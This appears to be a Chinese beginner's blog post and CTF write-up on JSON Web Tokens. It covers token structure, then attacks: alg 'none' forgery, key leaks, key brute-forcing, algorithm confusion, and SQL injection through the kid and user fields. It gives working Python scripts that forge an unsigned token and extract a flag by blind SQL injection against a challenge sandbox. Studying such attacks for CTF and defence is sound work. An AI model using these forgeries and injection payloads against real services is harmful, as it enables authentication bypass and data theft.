JSON Web Token(JWT)是目前最流行的跨域身份验证解决方案
它的构成:第一部分我们称它为头部(header),第二部分我们称其为载荷(payload, 类似于飞机上承载的物品),第三部分是签证(signature).
基于session和基于jwt的方式的主要区别就是用户的状态保存的位置,session是保存在服务端的,而jwt是保存在客户端的。自身包含了认证鉴权所需要的所有信息,服务器端无需对其存储,从而给服务器减少了存储开销。
1可扩展性好,
2无状态jwt不在服务端存储任何状态
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.TJVA95OrM7E2cBab30RMHrHDcEfxjoYZgeFONFh7HgQ
看着与BASE64加密很像,但其中的+,/分别会被替换为减号(-)和下划线(_)
“=”等号是被去掉的
1服务端根据用户登录信息,将信息生成token,返给客户端
2客户端收到服务端返回的token,存储在cookie中
3客户端携带token信息发送到服务端 ,以放在http请求头信息中,如:Authorization字段里面
4服务端检验token的合法性,如何合法,则成功,完成相应的响应
jwt由三部分组成,每部分之间用.分隔,分别为
1、Header
2、Payload
3、Signature
header示例如下:
{
“alg”: “HS256”,
“typ”: “JWT”
}
header由两部分组成,typ代表令牌的类型,也就是jwt,alg代表签名算法,常用的有hs256和rs256,分别代表HMAC和RSA
{
"sub": "1234567890",
"name": "John Doe",
"iat": 1516239022
}
要创建签名部分,必须获取已编码的标头(header)、编码的有效负载(payload)、密钥、header中指定的算法,并对其进行签名。
签名用于验证信息在传输过程中是否被篡改,并且在使用私钥签名令牌的情况下,它还可以验证 JWT 的发送者是否正确。
由三部分组成
header
payload
secret
这个部分需要base64url后的header和base64url后的payload使用.连接组成的字符串,然后通过header中声明的加密方式进行加盐secret组合加密,然后就构成了jwt的第三部分。
var encodedString = base64UrlEncode(header) + '.' + base64UrlEncode(payload);
var signature = HMACSHA256(encodedString, 'secret');
注意:secret是保存在服务器端的,jwt的签发生成也是在服务器端的,secret就是用来进行jwt的签发和jwt的验证,所以,它就是你服务端的私钥,在任何场景都不应该流露出去。一旦客户端得知这个secret, 那就意味着客户端是可以自我签发jwt了。
JWT解码在线网站JSON Web Tokens - jwt.io
这里使用ctfshow的题进行演示
泄露敏感信息
JWT可以直接通过在线网站查看解码的内容,或者直接bse64解码,但JWT的本意并不是用来存放敏感信息,所以这个一般很少见
未对签名进行验证
web345
可以直接权限提升,没有token签名进行校验,直接修改sub的值为admin
直接抓包,找到Token 放在jwt.io上面改,注意是/admin/
未对加密算法进行强验证
web346
JWT支持将算法设定为"None"
算法改为None可以绕过验证
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0
网站在线改不了算法,这里用python生成
import base64
def jwtBase64Encode(x):
return base64.b64encode(x.encode('utf-8')).decode().replace('+', '-').replace('/', '_').replace('=', '')
header = '{"typ":"JWT","alg":"none"}'
payload = '{"iss":"admin","iat":1665067354,"exp":1665475629,"nbf":1665067354,"sub":"admin","jti":"512efc0e4fd9fed194d5e66a81e78885"} '
print(jwtBase64Encode(header)+'.'+jwtBase64Encode(payload)+'.')
密钥泄露
有的时候密钥能查看,可能会在某些常见位置
ctfshow web349
发现公私钥都放在了public文件夹下面,nodejs中可以直接访问此文件,浏览器访问直接下载下来
本地搭起来修改user值为admin,然后在浏览器拿到cookie
或者python 写个拿到私钥直接生成
暴力破解密钥
HMAC签名密钥
工具:jwt-cracker 复杂的是破不出来的,
jwt-cracker下载GitHub - brendan-rius/c-jwt-cracker: JWT brute force cracker written in C
有了密钥直接进行user的值进行修改
密钥混淆攻击 (CVE-2016-5431)
在开发应用的时候启用JWT,使用RS256更加安全,你可以控制谁能使用什么类型的密钥。另外,如果你无法控制客户端,无法做到密钥的完全保密,RS256会是个更佳的选择,JWT的使用方只需要知道公钥。
由于公钥通常可以从元数据URL节点获得,因此可以对客户端进行进行编程以自动检索公钥。如果采用这种方式,从服务器上直接下载公钥信息,可以有效的减少配置信息。
非对称加密:公钥加密,私钥解密
对称加密:用一个密钥进行签名认证
攻击利用
如果JWT配置允许同时使用这两种算法,可以改alg参数进行修改
将非对称加密改为对称加密
此攻击的原因是某些库对签名/验证HMAC对称加密的密钥和包含用于验证RSA签名令牌的公钥的密钥使用相同的变量名。
然后我们用公钥签名,修改加密算法为对称加密,进行密钥混淆攻击
防御措施:JWT配置应该只允许使用HMAC算法或公钥算法,决不能同时使用这两种算法。
修改KID
kid是header部分,也就是第一部分中的一个字段,如果服务端未对kid进行安全过滤,那么我们可以指定任意kid来作为服务端解密的secret,达到任意身份验证的目的。有些库使用系统调用(如文件系统查找)或数据库查询来提取“kid”头值中指定的密钥。
KID也可以用于在数据库中检索密钥。在该情况下,攻击者很可能会利用SQL注入来绕过JWT安全机制。
例如:
“kid”:”1 ' UNION SELECT 'key';--” //使用字符串"key"验证token
通过对KID的修改,导致数据库信息泄露
这个注入会导致应用程序返回字符串“ key”,因此我们得到了key字符串的值,服务器也将以key的值来验证token
在网鼎杯中出现了修改user值来进行注入的情况
2021陇剑杯网络安全大赛-JWT部分
流量分析
能明显看出有JWT特征
2020网鼎杯玄武组 js_on
使用admin admin可以直接登陆进去,然后抓包可以明显的看到有jwt特征的token,于是我们可以考虑从JWT着手考虑
使用这个可以注入成功
{
"user": "i'/**/or/**/ascii(mid((select/**/load_file('/flag')),1,1))>'a'#",
"news": "key: test"
}
使用 和/**/进行绕过,这题 substr ,mid这些都没被过滤
发现回显可以变成test
语句成功
{
"news": "Flag",
"user": "i'/**/or/**/substr((select/**/load_file('/flag')),1,1)='a'#"
}
写脚本
根据如果对则显示news:的值
否则则显示 "这是你的信息?....."
python脚本
跑了好久才跑出来,这里python 使用的是2.7的版本
import urllib
import requests
import jwt
flagstr="cqwertyuiopasdfghjklzxvbnm-_=+1234567890{}@#$"
url="http://challenge-ac34226b886b1e3b.sandbox.ctfhub.com:10800/index.php"
q=1
w=""
#payload2="i'/**/or/**/ascii(mid((select/**/load_file('/flag')),{},1))='{}'#"
key="xRt*YMDqyCCxYxi9a@LgcGpnmM2X8i&6"
min=33
max=127
result=""
for i in range(1,40):
for j in flagstr:
#while abs(max-min)>1:
#mid=(max+min)//2
payload2="i'/**/or/**/substr((select/**/load_file('/flag')),{},1)=\'{}\'#".format(q,j)
payload1 = {'user':payload2,'news':'Flag'}
encoded_str=jwt.encode(payload1,key,algorithm='HS256')
cookies=dict(token=encoded_str)
r=requests.get(url,cookies=cookies)
print(r.text)
if r.text.find("Flag")>0:
#w=w+chr(mid)
# min=mid
w=w+j
q=q+1
print(w)
print("++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++")
print(cookies)
else:
print(cookies)
#q=q+1
#max=mid
#result+=chr(max)
print("flag"+w)
菜鸡一个,第一次发博客
参考文章https://www.jianshu.com/p/576dbf44b2ae
参考文章JWT攻击常用的两种算法 - FreeBuf网络安全行业门户
参考文章[CTFSHOW]JWT_Y4tacker的博客-CSDN博客